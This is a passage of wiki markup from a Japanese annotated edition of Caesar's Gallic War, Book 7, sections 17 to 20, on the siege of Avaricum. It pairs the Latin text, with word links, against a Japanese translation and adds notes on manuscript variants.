|[[画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。]]
|[[画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。]]
|}
&lt;/div&gt;
:　
;　　　カエサルが、同盟者であるボイイー族やハエドゥイー族に、糧秣徴発を促す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; De re [[wikt:en:frumentarius#Adjective|frumentaria]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:糧秣|糧秣]]調達について、
*[[wikt:en:Boii#Latin|Boios]] atque [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:adhortari|adhortari]] non [[wikt:en:destitit|destitit]]; 
**[[w:ボイイ族|ボイイー族]]や[[w:ハエドゥイ族|ハエドゥイー族]]を鼓舞することを止めなかった。
*quorum [[wikt:en:alter#Latin|alteri]], quod [[wikt:en:nullus#Determiner|nullo]] [[wikt:en:studium#Latin|studio]] [[wikt:en:agebant|agebant]], non multum [[wikt:en:adiuvabant|adiuvabant]], 
**彼らのうち一方&lt;small&gt;〔ハエドゥイー族〕&lt;/small&gt;は、何らの努力を行なわなかったので、あまり助けにならなかった。
*[[wikt:en:alter#Latin|alteri]] non magnis [[wikt:en:facultas#Latin|facultatibus]], quod [[wikt:en:civitas#Latin|civitas]] erat [[wikt:en:exiguus#Latin|exigua]] et [[wikt:en:infirmus#Latin|infirma]], 
**他方&lt;small&gt;〔ボイイー族〕&lt;/small&gt;は、貧弱かつ無力な部族であったので、大した貯えもなく、
*celeriter quod [[wikt:en:habuerunt|habuerunt]] [[wikt:en:consumpserunt|consumpserunt]]. 
**早々と持っていたものを消費し切ってしまった。
:　
;　　　糧秣の欠乏が続くが、ローマの将兵たちが耐え抜く
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|Summa]] [[wikt:en:difficultas#Latin|difficultate]] rei [[wikt:en:frumentarius#Adjective|frumentariae]] [[wikt:en:adfectus#Latin|adfecto]] [[wikt:en:exercitus#Noun|exercitu]] 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;軍隊は糧秣調達の大いなる困難さに苦悩させられながらも、
*[[wikt:en:tenuitas#Latin|tenuitate]] [[wikt:en:Boii#Latin|Boiorum]], 
**──&lt;small&gt;（その困難は）&lt;/small&gt;ボイイー族の微力さ、
*[[wikt:en:indiligentia#Latin|indiligentia]] [[wikt:en:Haedui#Latin|Haeduorum]], 
**ハエドゥイー族の怠慢、
*[[wikt:en:incendium#Latin|incendiis]] [[wikt:en:aedificium#Latin|aedificiorum]], 
**&lt;small&gt;（敵勢による）&lt;/small&gt;家屋の焼き打ちによるものであったが、──
*usque eo ut [[wikt:en:complures#Determiner|complures]] dies [[wikt:en:frumentum#Latin|frumento]] [[wikt:en:miles#Latin|milites]] [[wikt:en:caruerint|caruerint]] 
**かなりの日々にわたって兵士たちは糧食を欠くまでになり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:usque#Latin|usque]] eo ut ～「～まで」）&lt;/span&gt;
*et [[wikt:en:pecus#Latin|pecore]] ex [[wikt:en:longinquior#Latin|longinquioribus]] [[wikt:en:vicus#Latin|vicis]] [[wikt:en:adactus#Latin|adacto]] 
**かなり遠方の村々から家畜を駆り立てたので
*[[wikt:en:extremus#Latin|extremam]] [[wikt:en:fames#Latin|famem]] [[wikt:en:sustentarent|sustentarent]], 
**極限の飢えに耐え通すまでになったのであるが、
*[[wikt:en:nullus#Determiner|nulla]] tamen &lt;u&gt;vox est ab iis&lt;/u&gt; [[wikt:en:auditus#Latin|audita]] populi Romani [[wikt:en:maiestas#Latin|maiestate]] et [[wikt:en:superior#Latin|superioribus]] [[wikt:en:victoria#Latin|victoriis]] [[wikt:en:indignus#Latin|indigna]]. 
**しかしながら、ローマ人民の威厳やかつての勝利にふさわしからぬ声は、彼らから何ら聞かれなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:vox#Latin|vox]] est &lt;u&gt;ab&lt;/u&gt; iis だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では &lt;u&gt;ex&lt;/u&gt; iis vox est となっている。）&lt;/span&gt;
:　
;　　　ローマ人将兵たちがカエサルに攻囲の継続を訴える
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:quin#Latin|Quin]] etiam Caesar cum in [[wikt:en:opus#Latin|opere]] [[wikt:en:singulus#Latin|singulas]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:appellaret|appellaret]], 
**いやそればかりか、カエサルが作業中のそれぞれの[[w:ローマ軍団|軍団]]に呼びかけたとき、
*et, si [[wikt:en:acerbe#Latin|acerbius]] [[wikt:en:inopia#Latin|inopiam]] [[wikt:en:ferrent#Latin|ferrent]], se [[wikt:en:dimissurus#Latin|dimissurum]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt; [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:diceret|diceret]], 
**もし、とても過酷に欠乏に耐えているのならば、自分は攻囲を放棄するであろう、とカエサルが言っていたときに、
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:universi#Latin|universi]] ab eo, ne id [[wikt:en:faceret|faceret]], [[wikt:en:petebant|petebant]] : 
**&lt;small&gt;（各軍団の）&lt;/small&gt;一同は、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に、それ&lt;small&gt;〔攻囲の放棄〕&lt;/small&gt;をしないように求めていた。
*sic se complures annos illo [[wikt:en:imperans#Latin|imperante]] [[wikt:en:meruisse|meruisse]], 
**自分たちは&lt;small&gt;（以下のように）&lt;/small&gt;幾年にもわたって彼&lt;small&gt;〔カエサル〕&lt;/small&gt;の麾下で努めてきた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sic ～ ut …「…のように～である」）&lt;/span&gt;
*ut [[wikt:en:nullus#Determiner|nullam]] [[wikt:en:ignominia#Latin|ignominiam]] [[wikt:en:acciperent|acciperent]], &lt;u&gt;nusquam incepta&lt;/u&gt; re [[wikt:en:discederent|discederent]]: 
**何ら不名誉を蒙ってないし、事&lt;small&gt;〔戦役〕&lt;/small&gt;が完遂されないまま&lt;small&gt;（戦列を）&lt;/small&gt;離脱することは決してなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:nusquam#Latin|nusquam]] [[wikt:en:inceptus#Latin|incepta]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:numquam#Latin|numquam]] [[wikt:en:infectus#Adjective|infecta]] となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; hoc se [[wikt:en:ignominia#Latin|ignominiae]] &lt;u&gt;loco [[wikt:en:laturus#Latin|laturos]]&lt;/u&gt; &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt;, si [[wikt:en:inceptus#Latin|inceptam]] [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:reliquissent|reliquissent]]; 
**もし&lt;small&gt;（自分たちが）&lt;/small&gt;着手した攻囲を放棄してしまったならば、自分たちはこの状態を不名誉と見なすであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では loco laturos の語順だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では laturos loco の語順となっている。）&lt;/span&gt;
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;praestare&lt;/u&gt; omnes [[wikt:en:perferre|perferre]] [[wikt:en:acerbitas#Latin|acerbitates]], 
**あらゆる厳しさに持ちこたえることは&lt;small&gt;（以下のこと）&lt;/small&gt;よりましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:civis#Latin|civibus]] Romanis, qui [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:perfidia#Latin|perfidia]] Gallorum [[wikt:en:interissent|interissent]], [[wikt:en:parentarent|parentarent]]. 
**ケナブムでガッリア人たちの不義により滅びたローマ市民たちの仇討ちをしないよりも。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#3節|3節]]①項を参照。仇討ちをしないのなら、苦しむ方がましである、の意）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Haec [[wikt:en:idem#Latin|eadem]] [[wikt:en:centurio#Latin|centurionibus]] [[wikt:en:tribunus#Latin|tribunis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:miles#Latin|militum]] 
**これらと同じことを、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、
*[[wikt:en:mandabant|mandabant]], ut per eos ad Caesarem [[wikt:en:deferrentur|deferrentur]].
**彼らを通じてカエサルに申し立てるように、依頼していた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===18節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/18節]]　{{進捗|00%|2026-04-13}}&lt;/span&gt;
;カエサルがウェルキンゲトリークス不在の敵陣へ迫る
:　
;　　　カエサルは、ウェルキンゲトリークスが糧秣の欠乏によりローマ勢の糧秣徴発隊を襲撃に向かったと知る
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum iam [[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turres]] [[wikt:en:adpropinquassent#Latin|adpropinquassent]], 
**すでに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁に&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]が近づいていた際に、
*ex [[wikt:en:captivus#Noun|captivis]] Caesar [[wikt:en:cognovit#Latin|cognovit]], 
**カエサルは、捕虜たちから&lt;small&gt;（以下のことを）&lt;/small&gt;知った。
*[[wikt:en:Vercingetorix#Latin|Vercingetorigem]], [[wikt:en:consumptus#Latin|consumpto]] [[wikt:en:pabulum#Latin|pabulo]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は[[w:糧秣|糧秣]]を消費し切ると、
*castra [[wikt:en:movisse#Latin|movisse]] propius [[wikt:en:Avaricum#Latin|Avaricum]], 
**陣営をアウァーリクムのより近くに移動させて、
*atque ipsum cum [[wikt:en:equitatus#Latin|equitatu]] [[wikt:en:expeditus#Noun|expeditis]]&lt;nowiki&gt;que&lt;/nowiki&gt;, qui inter [[wikt:en:eques#Latin|equites]] [[wikt:en:proeliari#Verb|proeliari]] [[wikt:en:consuessent#Latin|consuessent]], 
**彼自身は、[[w:騎兵|騎兵]]隊、および騎兵たちの間で争闘することに習熟していた[[w:軽装歩兵|軽装歩兵]]たちとともに、
*&lt;u&gt;insidiarum&lt;/u&gt; causa eo [[wikt:en:profectus#Etymology_3|profectum]], quo nostros postero die [[wikt:en:pabulatum#Verb|pabulatum]] [[wikt:en:venturus#Latin|venturos]] [[wikt:en:arbitraretur#Latin|arbitraretur]]. 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が翌日に糧秣徴発にやって来るであろうと思われるところで待ち伏せするために、出発した、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:insidiarum|insidiarum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:insidiandi#Latin|insidiandi]] となっている。）&lt;/span&gt;

[[画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。]]
[[画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Quibus rebus [[wikt:en:cognitus#Participle|cognitis]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;それらの事情を知るや、
*media nocte [[wikt:en:silentium#Latin|silentio]] [[wikt:en:profectus#Etymology_3|profectus]] 
**真夜中の静けさのうちに出発して、
*ad hostium castra [[wikt:en:mane#Adverb_2|mane]] [[wikt:en:pervenit#Etymology_2|pervenit]]. 
**敵の陣営の辺りへ朝方に到着した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi, celeriter per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:adventus#Latin|adventu]] Caesaris [[wikt:en:cognitus#Participle|cognito]] 
**あの者たちは、速やかに斥候たちを通じてカエサルの到来を知るや、
*&lt;u&gt;carros&lt;/u&gt; [[wikt:en:impedimentum#Latin|impedimenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; sua in [[wikt:en:artior#Latin|artiores]] [[wikt:en:silva#Latin|silvas]] [[wikt:en:abdiderunt#Latin|abdiderunt]], 
**自分たちの&lt;u&gt;四輪荷馬車&lt;/u&gt;と[[w:輜重|輜重]]をとても深い森の中に隠して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：四輪荷馬車 [[wikt:en:carrus#Latin|carrus]] は、例えば右の画像のものを参照。）&lt;/span&gt;
*copias omnes in loco [[wikt:en:editus#Latin|edito]] atque [[wikt:en:apertus#Latin|aperto]] [[wikt:en:instruxerunt#Latin|instruxerunt]]. 
**全軍勢を高くそびえて開けている場所に配置した。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qua re [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事を報告されて、
*Caesar celeriter [[wikt:en:sarcina#Latin|sarcinas]] [[wikt:en:conferri#Latin|conferri]], 
**カエサルは速やかに&lt;small&gt;（兵士たちの）&lt;/small&gt;[[w:背嚢|背嚢]]が運び集められること、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:expediri#Latin|expediri]] [[wikt:en:iussit#Verb|iussit]].
**武具が&lt;small&gt;（すぐ使えるように）&lt;/small&gt;整えられることを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===19節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/19節]]　{{進捗|00%|2026-04-20}}&lt;/span&gt;
;丘の上のガッリア勢と沼沢を挟んで対峙する
:　
;　　　ガッリア勢の陣営の地勢
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:collis#Latin|Collis]] erat &lt;u&gt;leniter&lt;/u&gt; ab [[wikt:en:infimus#Latin|infimo]] [[wikt:en:adclivis#Latin|adclivis]]. 
**&lt;small&gt;（ガッリア勢がいる）&lt;/small&gt;丘陵はふもとから緩やかに、登り坂になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系･&amp;chi;系･B･M･S･N&lt;sup&gt;c&lt;/sup&gt; 写本では [[wikt:en:leviter#Latin|leviter]] 、&lt;br&gt;　　　　　　　　　L･N写本では [[wikt:en:breviter#Latin|breviter]] だが、&lt;br&gt;　　　　　　　　　より劣った写本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|codd.deter.]]'' では [[wikt:en:leniter#Latin|leniter]] となっている。

*Hunc ex omnibus fere partibus [[wikt:en:palus#Latin|palus]] [[wikt:en:difficilis#Latin|difficilis]] atque [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:cingebat#Latin|cingebat]] 
**これ&lt;small&gt;〔丘陵〕&lt;/small&gt;を、ほぼすべての方角から、不便で通りにくい沼地が取り巻いていて、
*non [[wikt:en:latior#Latin|latior]] [[wikt:en:pes#Latin|pedibus]] [[wikt:en:quinquaginta#Latin|quinquaginta]]. 
**&lt;small&gt;（その沼地は）&lt;/small&gt;50&lt;u&gt;[[w:ペース (長さ)|ペース]]&lt;/u&gt;より幅広くなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、50ペースは約15メートル弱。）&lt;/span&gt;
:　
;　　　丘の周囲を部族ごとに分かれて守備している
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc se [[wikt:en:collis#Latin|colle]] [[wikt:en:interruptus#Latin|interruptis]] [[wikt:en:pons#Latin|pontibus]] 
**この丘陵において、橋梁を破却すると、
*Galli [[wikt:en:fiducia#Latin|fiducia]] loci [[wikt:en:continebant#Latin|continebant]] 
**ガッリア人たちは、地勢を頼りに留まっていて、
*[[wikt:en:generatim#Latin|generatim]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:distributus#Latin|distributi]] in civitates 
**&lt;small&gt;（軍勢を）&lt;/small&gt;諸部族の種族ごとに分けて配置させて、
*omnia [[wikt:en:vadum#Latin|vada]] ac [[wikt:en:saltus#Etymology_2|saltus]] eius [[wikt:en:palus#Latin|paludis]] &lt;u&gt;certis custodiis&lt;/u&gt; [[wikt:en:obtinebant#Latin|obtinebant]], 
**その沼地の、すべての浅瀬や隘路を &lt;u&gt;一定の護衛兵たちによって&lt;/u&gt; 占領していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:certus#Latin|certis]] [[wikt:en:custodia#Latin|custodiis]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; animo [[wikt:en:paratus#Latin|parati]] &lt;u&gt;ut&lt;/u&gt;, si eam [[wikt:en:palus#Latin|paludem]] Romani [[wikt:en:perrumpo#Latin|perrumpere]] [[wikt:en:conarentur#Latin|conarentur]], [[wikt:en:haesitans#Latin|haesitantes]] [[wikt:en:premerent#Latin|premerent]] ex loco [[wikt:en:superior#Latin|superiore]]; 
**もしローマ勢がその沼地を強行突破せんと試みたならば、ぐずぐずしている者らを高地から圧倒する心積もりであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
:　
;　　　両軍は互角か？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; ut, qui [[wikt:en:propinquitas#Latin|propinquitatem]] loci [[wikt:en:videret#Latin|videret]], 
**&lt;small&gt;（両軍の）&lt;/small&gt;陣地が近接していることを見た者は、
*[[wikt:en:paratus#Latin|paratos]] prope [[wikt:en:aequus#Latin|aequo]] &lt;u&gt;Marte&lt;/u&gt; ad [[wikt:en:dimicandum#Latin|dimicandum]] [[wikt:en:existimaret#Latin|existimaret]], 
**&lt;small&gt;（ガッリア勢がローマ勢に対して）&lt;/small&gt;ほぼ互角の戦い&lt;small&gt;（の条件）&lt;/small&gt;で闘うつもりでいると考えただろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:Mars#Proper_noun_22|Mars]]「戦争の神マールス」ではなく、&lt;br&gt;　　　　　　　　　[[wikt:en:Mars#Noun_4|Mars]]「戦争、闘い」そのものを指す。）&lt;/span&gt;
;　　　ガッリア勢は不利なのに虚勢を張っているのか？
*qui [[wikt:en:iniquitas#Latin|iniquitatem]] [[wikt:en:condicio#Latin|condicionis]] [[wikt:en:perspiceret#Latin|perspiceret]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;条件の不利なことを見通した者は、
*[[wikt:en:inanis#Latin|inani]] [[wikt:en:simulatio#Latin|simulatione]] sese [[wikt:en:ostentare#Latin|ostentare]] [[wikt:en:cognosceret#Latin|cognosceret]]. 
**&lt;small&gt;（ガッリア勢が）&lt;/small&gt;虚栄の見せかけで己を誇示していることを、理解しただろう。
:　
;　　　カエサルが、至近距離の敵への攻撃にいきり立つ将兵らを教え諭す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indignans#Latin|Indignantes]] [[wikt:en:miles#Latin|milites]] Gaesar, 
**カエサルは&lt;small&gt;（ガッリア勢の誇示に）&lt;/small&gt;憤慨している兵士たちに、
*quod [[wikt:en:conspectus#Noun_2|conspectum]] suum hostes &lt;u&gt;perferre&lt;/u&gt; [[wikt:en:possent#Latin|possent]] [[wikt:en:tantulus#Latin|tantulo]] [[wikt:en:spatium#Latin|spatio]] [[wikt:en:interiectus#Latin|interiecto]], 
**──というのも、これほどのわずかな距離しか介在してないのに、敵勢が自分らを&lt;small&gt;（平然と）&lt;/small&gt;見据えていられるためだが──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:perferre#Latin|perferre]] だが、&amp;beta;系写本では [[wikt:en:ferre#Latin|ferre]] となっている。）&lt;/span&gt;
*et signum proelii [[wikt:en:exposcens#Latin|exposcentes]] [[wikt:en:edocet#Latin|edocet]], 
**および戦闘の合図を熱心に求めている者たちに対して&lt;small&gt;（以下のように）&lt;/small&gt;説く。
*[[wikt:en:quantus#Latin|quanto]] [[wikt:en:detrimentum#Latin|detrimento]] et [[wikt:en:quot#Latin|quot]] [[wikt:en:vir#Latin|virorum]] [[wikt:en:fortis#Latin|fortium]] [[wikt:en:mors#Latin|morte]] [[wikt:en:necesse#Adverb|necesse]] sit [[wikt:en:constare#Latin|constare]] [[wikt:en:victoria#Latin|victoriam]]; 
**勝利を確実にすることが、どれほどの損害と、どれほど多くの勇敢な&lt;ruby&gt;&lt;rb&gt;兵士&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの死を必要とするか、を。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　多くのローマ兵が死に瀕すれば、カエサル自身が戦争犯罪で弾劾されるだろう
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; quos cum &lt;u&gt;sic&lt;/u&gt; [[wikt:en:animus#Latin|animo]] [[wikt:en:paratus#Latin|paratos]] [[wikt:en:videat#Latin|videat]], &lt;u&gt;ut&lt;/u&gt; [[wikt:en:nullus#Determiner|nullum]] pro sua [[wikt:en:laus#Latin|laude]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:recusent#Latin|recusent]], 
**彼ら&lt;small&gt;〔兵士たち〕&lt;/small&gt;が己の賞賛のためにいかなる危険をも辞さない心積もりであると&lt;small&gt;（カエサルは）&lt;/small&gt;見て取ったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pro sua laude 「自らの賞賛のために」は、「カエサルの賞賛のために」と解することもできる。&lt;br&gt;　　　　しかし、共和制国家に忠誠を誓っているはずの兵士らが、カエサル個人のために命を投げ出そうとする記述は、&lt;br&gt;　　　　野心家カエサルが軍隊を私兵化しようとしている野望をさらけ出すことになり、政敵たちを利することになる。）&lt;/span&gt;
*[[wikt:en:summus#Latin|summae]] se [[wikt:en:iniquitas#Latin|iniquitatis]] [[wikt:en:condemnari#Latin|condemnari]] [[wikt:en:debere#Latin|debere]], [[wikt:en:nisi#Conjunction|nisi]] eorum [[wikt:en:vita#Latin|vitam]] sua [[wikt:en:salus#Latin|salute]] [[wikt:en:habeat#Latin|habeat]] [[wikt:en:carior#Latin|cariorem]]. 
**&lt;small&gt;&lt;/small&gt;彼ら&lt;small&gt;〔兵士〕&lt;/small&gt;の生命を己&lt;small&gt;〔カエサル〕&lt;/small&gt;の安全より貴重と思わない限り、自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は極度の不正のために告発されるに違いない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：すでにサビーヌスら多くのローマ市民が戦死しており、ここでさらに多くのローマ市民を死なせることは、&lt;br&gt;　　　　カエサルから軍隊を取り上げることを主張していた政敵たちから厳しく糾弾されることになったであろう。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sic [[wikt:en:miles#Latin|milites]] [[wikt:en:consolatus#Latin|consolatus]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;このように兵士たちを&lt;ruby&gt;&lt;rb&gt;宥&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;めて、
*eodem die [[wikt:en:reducit#Latin|reducit]] in castra 
**同日に陣営の中に連れ戻して、
*[[wikt:en:reliquus#Latin|reliqua]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae ad [[wikt:en:oppugnatio#Latin|oppugnationem]] &lt;u&gt;[[wikt:en:pertinebant#Latin|pertinebant]] [[wikt:en:oppidum#Latin|oppidi]]&lt;/u&gt; [[wikt:en:administrare#Latin|administrare]] [[wikt:en:instituit#Latin|instituit]].
**城塞都市&lt;small&gt;〔アウァーリクム〕&lt;/small&gt;の攻略に関わっているほかのことに従事することを決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･B･M･S写本では pertinebant oppidi の語順だが、&lt;br&gt;　　　　　　　　　L･N･β系写本では oppidi pertinebant の語順となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===20節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/20節]]　{{進捗|00%|2026-05-04}}&lt;/span&gt;
;ウェルキンゲトリークスが味方に弁明し、捕虜に問い質す
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], cum ad suos [[wikt:en:redisset#Latin|redisset]], [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatus#Latin|insimulatus]],
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、味方のもとに戻った際に、&lt;small&gt;（以下のことで）&lt;/small&gt;裏切りだと非難されていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、[[wikt:en:quod#Conjunction|quod]] ～ で箇条書き。）&lt;/span&gt;
*quod [[wikt:en:castra#Latin|castra]] [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:movisset#Latin|movisset]], 
**陣営をローマ人たちのより近くに移動させていたこと、
